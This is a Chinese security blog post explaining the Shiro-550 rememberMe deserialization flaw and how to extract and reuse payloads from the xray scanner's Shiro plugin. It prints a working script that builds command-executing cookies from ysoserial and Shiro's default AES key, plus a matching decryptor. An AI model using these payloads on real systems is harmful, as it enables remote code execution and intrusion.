主页 > 网络知识 > shiro新姿势:初探xray高级版shiro插件

shiro新姿势:初探xray高级版shiro插件

 

shiro新姿势:初探xray高级版shiro插件

 

0x00 前言

上周五,xray社区公众号发布xray高级版更新公告,新增 shiro 插件,shiro 漏洞一键检测。文章链接(点我

shiro新姿势:初探xray高级版shiro插件

 

上图来源于微信公众号文章,可以看到,通过shiro-550这个神洞,可以将命令执行结果回显在响应包中。没错,它竟然回显了。

文章还介绍:

该插件内置长亭独有的反序列化研究成果 总结一下该插件亮点为: 内置独家 Java 反序列化利用链,有效作用于 shiro 环境 内置 Payload 支持全版本 Tomcat 回显,Tomcat 6,7,8,9 均通过测试 借助反连平台可以完美支持非 Tomcat 环境的漏洞检测 完整转置 ysoserial 至 Go 代码,无需 Java 依赖即可运行 自带 shiro 100 key,且支持通过配置文件自定义 shiro key

仔细想了想,这个独家Java反序列化利用链可能不会公布了,但我本人使用的高级版xray还是上个月xray社区一周年活动领取的,体验期只有两个月。又想一直“占有”这个shiro插件,故对其整个利用过程进行了简单研究,总结一个通用方法,达到同xray利用shiro相同的效果。

0x01 shiro rememberMe加解密过程

shiro RememeberMe 1.2.4反序列化漏洞这个漏洞原理不需要在这里多说,各大安全社区已经有很多分析文章,这里简单重复shiro 1.2.4及以下版本下默认cookie中rememberMe字段的生成过程:

1. 序列化恶意对象(payload) 2. 对序列化的数据进行AES加密 3. 将加密后的数据进行base64编码 4. 发送rememberMe cookie

贴一个加密码脚本:

import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(payload,command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', payload, command], stdout=subprocess.PIPE) BS = AES.block_size # 16 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "ikB3y6O9BpimrZLB3rca0w==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ysopayload = popen.stdout.read() file_body = pad(ysopayload) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme('CommonsCollections2',sys.argv[1]) # print("rememberMe={}".format(payload.decode())) with open("payload.cookie", "w") as fpw: print("{}".format(payload.decode()), file=fpw)

这里需要注意的是,AES加密时,需要选择一个偏移向量IV,IV拼接在加密数据前(占16位),两者拼接后的数据经过base64编码后组成rememberMe cookie

同理,我们在Cookie中拿到rememberMe字段时,也可以依据以下的步骤进行解码,提取出有效关键的payload。

1. 获取rememberme cookie 2. base64 decode 3. 从第2步解码后的数据,前16位数据为加解密需要的iv,后面的数据为加密数据 4. 根据key、iv和加密模式(shiro中AES默认CBC)解密得到关键的序列化数据

贴一个简单的解密脚本:

import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def decode_remember(remember): iv = base64.b64decode(remember)[:16] file_body = base64.b64decode(remember)[16:] key = "ikB3y6O9BpimrZLB3rca0w==" mode = AES.MODE_CBC decryptor = AES.new(base64.b64decode(key), mode, iv) result = decryptor.decrypt(file_body) print(result) with open("xray.cookie", "r") as f: remember = f.readline().strip() # print(remember) decode_remember(remember)

得到这个序列化数据有啥用呢?文章开头就介绍了xray高级版对shiro550的“独家”回显利用,有了这个提取出来的关键的序列化数据,是不是就可以复用了?

0x02 xray高级版shiro插件使用

我们在本地搭建一个存在shiro550漏洞的靶场,演示下这个插件的利用过程。

说点什么吧
  • 全部评论(0